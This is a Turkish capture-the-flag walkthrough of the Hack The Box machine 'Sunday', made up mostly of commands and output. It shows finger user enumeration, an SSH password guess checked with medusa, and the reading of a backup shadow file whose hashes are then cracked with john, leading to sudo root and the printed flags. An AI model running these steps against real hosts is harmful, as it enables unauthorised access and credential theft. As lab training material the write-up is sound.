| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Sunday - HTB | Medium | Linux |  |
Walkthrough
Açık olan portlara baktığımızda finger servisinin açık görüyoruz. nmap taramasını full-scan olarak başlattıktan sonra bir yandan da user enumeration yapmaya başladım.
PORT STATE SERVICE
79/tcp open finger
111/tcp open rpcbind
515/tcp open printer
6787/tcp open smc-admin
22022/tcp open unknown 22022'de ssh çalışmaktaydı ve senaryo apacık belli olmuştu. User tespit edeceğiz daha sonrasında ssh ile gireceğiz.
┌──(root💀kali)-[~/10.10.10.76/exploit]
└─# ./finger-user-enum.pl -U names.txt -t 10.10.10.76 127 ⨯
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Worker Processes ......... 5
Usernames file ........... names.txt
Target count ............. 1
Username count ........... 10177
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used
######## Scan started at Sun Jan 16 08:00:02 2022 #########
[email protected]: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
[email protected]: Login Name TTY Idle When Where..adm Admin < . . . . >..dladm Datalink Admin < . . . . >..netadm Network Admin < . . . . >..netcfg Network Configuratio < . . . . >..dhcpserv DHCP Configuration A < . . . . >..ikeuser IKE Admin < . . . . >..lp Line Printer Admin < . . . . >..
anne [email protected]: Login Name TTY Idle When Where..anne ???..marie ???..
[email protected]: bin ??? < . . . . >..
dee [email protected]: Login Name TTY Idle When Where..dee ???..dee ???..
[email protected]: ikeuser IKE Admin < . . . . >..
jo [email protected]: Login Name TTY Idle When Where..ann ???..jo ???..
la [email protected]: Login Name TTY Idle When Where..la ???..verne ???..
[email protected]: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..
[email protected]: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..
miof [email protected]: Login Name TTY Idle When Where..mela ???..miof ???..
[email protected]: root Super-User console <Dec 19 10:30>..
[email protected]: sammy ??? console <Dec 19 08:35>..
[email protected]: sunny ??? console <Dec 19 09:56>..
[email protected]: sys ??? < . . . . >..
zsa [email protected]: Login Name TTY Idle When Where..zsa ???..zsa ???..
######## Scan completed at Sun Jan 16 08:06:46 2022 #########
16 results.
10177 queries in 404 seconds (25.2 queries / sec)
SecList'ten bir username wordlisti aldım ve ./finger-user-enum.pl ile denemye bıraktım. sammy ve sunny olmak üzere 2 kullanıcı verdi. İşin heycanının düştüğü nokta açıkçası burası çünkü makinede ssh çok geç cevap vermekte ve bruteforce'a bırakılacak gibi değil. Kendime not: "Ne zaman bna benzer bir durumla karşılaşsam parolalar çok basit oluyor. Basit düşün." Burada çözüme bakmaya karar verdim ve parola sunday çıktı 🙂 Okay Boomer.
┌──(root💀kali)-[~/10.10.10.76]
└─# medusa -n 22022 -u sunny -P wordlist -h 10.10.10.76 -M ssh -v 6 130 ⨯
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 3
ACCOUNT CHECK: [ssh] Host: 10.10.10.76 (1 of 1, 0 complete) User: sunny (1 of 1, 0 complete) Password: sunny (1 of 3 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.76 (1 of 1, 0 complete) User: sunny (1 of 1, 0 complete) Password: sunday (2 of 3 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.10.76 User: sunny Password: sunday [SUCCESS]
GENERAL: Medusa has finished.Hemen user flagi okudum ve daha sonra araştırma yapmaya başaldığımda backup dosyalaro buldum. Hashleri alıp john'a verdim ve yeni bir kapı açıldı.
┌──(root💀kali)-[~]
└─# ssh [email protected] -p 22022 255 ⨯
Password:
Last login: Sun Jan 16 15:23:40 2022 from 10.10.14.10
Oracle Corporation SunOS 5.11 11.4 Aug 2018
sunny@sunday:~$ ls
local.cshrc local.login local.profile
sunny@sunday:~$ cd ..
sunny@sunday:/home$ ls
sammy sunny
sunny@sunday:/home$ cd sammy/
sunny@sunday:/home/sammy$ ls
user.txt
sunny@sunday:/home/sammy$ cat user.txt
a3d9498027ca5187ba1793943ee8a598
sunny@sunday:/home/sammy$
sunny@sunday:/home/sammy$ cd /
sunny@sunday:/$ ls
backup boot dev etc home lib mnt nfs4 platform root sbin tmp var
bin cdrom devices export kernel media net opt proc rpool system usr zvboot
sunny@sunday:/$ cd backup/
sunny@sunday:/backup$ ls
agent22.backup shadow.backup
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
sunny@sunday:/backup$
┌──(root💀kali)-[~/10.10.10.76]
└─# john hash --wordlist=/usr/share/wordlists/rockyou.txt 1 ⨯
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x])
Remaining 1 password hash
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cooldude! (sammy)
1g 0:00:02:04 DONE (2022-01-16 10:27) 0.008032g/s 1636p/s 1636c/s 1636C/s domonique1..chrystelle
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Evet sonrası çocuk oyuncağı çıktı.
sunny@sunday:/backup$ su sammy
Password:
sammy@sunday:/backup$ sudo -l
User sammy may run the following commands on sunday:
(ALL) ALL
(root) NOPASSWD: /usr/bin/wget
sammy@sunday:/backup$ sudo su
Password:
root@sunday:/backup# id
uid=0(root) gid=0(root)
root@sunday:/backup# cat /root/root.txt
fb40fab61d99d37536daeec0d97af9b8
İlk Yorumu Siz Yapın